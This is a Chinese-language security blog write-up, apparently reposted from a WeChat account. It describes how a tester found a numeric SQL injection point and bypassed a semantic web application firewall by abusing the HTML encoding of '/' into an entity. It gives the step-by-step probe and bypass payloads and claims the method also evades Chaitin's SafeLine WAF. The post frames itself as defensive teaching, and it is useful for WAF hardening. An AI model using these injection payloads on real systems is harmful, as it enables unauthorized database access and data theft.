HTML编码导致语义WAF绕过

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学，切勿用于它用途

公众号：XG小刚

项目上遇到一个waf类似语义分析，一旦SQL语句拼接成功就会拦截，规则很死。

测试过程

1、首先发现注入点是数字型

&type=4

尝试加减发现存在注入

&type=4-0&type=5-1

但是尝试使用除法发现不行，很奇怪

&type=4/1

2、尝试进行注释发现是括号包裹的，而且可以井号注释，说明是mysql数据库

&type=4)%23

尝试是否order by利用，发现被拦截

&type=4)order+by+1%23

然后尝试了许多东西，发现WAF偏向语义分析，而且不是云WAF

3、测试时候发现/**/也不能用，这很不合理

&type=4)/**/%23

4、这里就想到了很多，可能/**/被正则替换掉了，也可能是特殊字符被转译或编码了

那就要尝试发现一下到底被怎么样了

想去测试被怎么了其实很简单，使用length函数去判断字符串长度变化

length('/**/')=?

正常长度是4，如果被正则替换了长度通常变为1或0或其他固定数值

在测试时发现长度并不是4，也不是1和0，那就可能是被转译或编码了

然后测试时发现只是/这个字符被操作了，长度变成了5

length('/')=5

这就为什么刚开始加减可以，除法则不行了。

使用substr进行截断匹配，发现substr被拦截，就使用了mid函数

mid('/',1,1)=?

最后发现/被html编码为了/

&type=if(MID(%22/%22,2,1)=%22%23%22,4,1))%23

5、既然发现/被编码，就很大程度限制了绕过的思路。/**/不能用了

但是仔细研究发现，/被编码为/然后再拼接到语句里查询的，/里面有&拼接字符，#注释字符，后面的47;都是可以被前面注释掉的，只要在后面添加%0a即可防止之后的语句被注释。

所以我们需要利用/拼接出一个完整的语句

&type=4)%26/%0a1#

正常上面语句一看就是无法执行的，但是将/换为/则变成下面语句

&type=4)%26%26#47;%0a1#

语句执行成功    

6、因为waf偏向语义分析

&type=4)%26/%0a(select+1+from+dual)#

这个语句在waf看来是肯定语法错误的，所以就不拦截了

如果是正常语句则会拦截

到这就算彻底绕过了，后续查数据就正常查即可。

7、后面测试了长亭的雷池语义waf也不会拦截

原文始发于微信公众号（XG小刚）：HTML编码导致语义WAF绕过